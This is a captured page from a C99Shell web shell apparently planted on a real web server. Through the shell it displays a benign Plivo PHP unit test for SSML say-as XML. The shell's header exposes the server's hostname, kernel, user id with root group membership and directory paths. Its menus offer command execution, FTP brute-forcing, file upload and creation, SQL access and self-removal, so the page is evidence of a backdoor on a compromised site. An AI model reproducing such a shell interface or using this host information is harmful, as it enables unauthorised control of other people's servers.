!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/plivo/plivo-php/tests/XML/   drwxr-xr-x
Free 29.26 GB of 117.98 GB (24.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SayAsTest.php (3.65 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace XML;

use 
Plivo\XML\Response;
use 
Plivo\Tests\BaseTestCase;

/**
 * Class SayAsTest
 * @package Plivo\Tests\XML
 */
class SayAsTest extends BaseTestCase 
{
    
    function 
testAddProsody()
    {
        
$response = new Response();
        
$params1 = array(
            
'language' => 'en-US',
            
'voice' => 'Polly.Joanna'  
        
);

        
$params2 = array(
            
'interpret-as' => 'date',
            
'format' => 'dmy'
        
);

        
$response->addSpeak('I was born on ',$params1)
            ->
addSayAs('12-31-1977',$params2);
        
$ssml $response->toXML(true);
        
// $actual = new \DOMDocument;
        // $actual->loadXML($ssml);

        
self::assertNotNull($ssml);

        
self::assertXmlStringEqualsXmlFile(__DIR__ '/../Mocks/sayAsSpeak.xml',$ssml);
    }

    function 
testExceptionAddProsody()
    {
        
$this->expectPlivoException('Plivo\Exceptions\PlivoXMLException');
        
$response = new Response();
        
$params1 = array(
            
'language' => 'en-US',
            
'voice' => 'Polly.Joanna'  
        
);

        
$params2 = array(
            
'interpret-as' => 'date',
            
'format' => 'dmy'
        
);

        
$response->addSpeak('I was born on ',$params1)
            ->
addSayAs('',$params2);
    }

    function 
testExceptionAttributeInterpretAsAddProsody()
    {
        
$this->expectPlivoException('Plivo\Exceptions\PlivoXMLException');
        
$response = new Response();
        
$params1 = array(
            
'language' => 'en-US',
            
'voice' => 'Polly.Joanna'  
        
);

        
$params2 = array(
            
'interpretas' => 'date'
        
);

        
$response->addSpeak('I was born on ',$params1)
            ->
addSayAs('12-31-1977',$params2);
        
$ssml $response->toXML(true);
    }

    function 
testExceptionAttributeFormatAddProsody()
    {
        
$this->expectPlivoException('Plivo\Exceptions\PlivoXMLException');
        
$response = new Response();
        
$params1 = array(
            
'language' => 'en-US',
            
'voice' => 'Polly.Joanna'  
        
);

        
$params2 = array(
            
'formats' => 'mdy'
        
);

        
$response->addSpeak('I was born on ',$params1)
            ->
addSayAs('12-31-1977',$params2);
        
$ssml $response->toXML(true);
    }

    function 
testExceptionAttributeInterpretAsValueAddProsody()
    {
        
$this->expectPlivoException('Plivo\Exceptions\PlivoXMLException');
        
$response = new Response();
        
$params1 = array(
            
'language' => 'en-US',
            
'voice' => 'Polly.Joanna'  
        
);

        
$params2 = array(
            
'interpret-as' => 'loud'
        
);

        
$response->addSpeak('I was born on ',$params1)
            ->
addSayAs('12-31-1977',$params2);
        
$ssml $response->toXML(true);
    }

    function 
testExceptionAttributeFormatValueAddProsody()
    {
        
$this->expectPlivoException('Plivo\Exceptions\PlivoXMLException');
        
$response = new Response();
        
$params1 = array(
            
'language' => 'en-US',
            
'voice' => 'Polly.Joanna'  
        
);

        
$params2 = array(
            
'format' => 'mdyy'
        
);

        
$response->addSpeak('I was born on ',$params1)
            ->
addSayAs('12-31-1977',$params2);
        
$ssml $response->toXML(true);
    }

    function 
testExceptionSSMLSupported()
    {
        
$this->expectPlivoException('Plivo\Exceptions\PlivoXMLException');
        
$response = new Response();
        
$params1 = array(
            
'language' => 'en-US'
        
);

        
$params2 = array(
            
'format' => 'mdyy'
        
);

        
$response->addSpeak('I was born on ',$params1)
            ->
addSayAs('12-31-1977',$params2);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--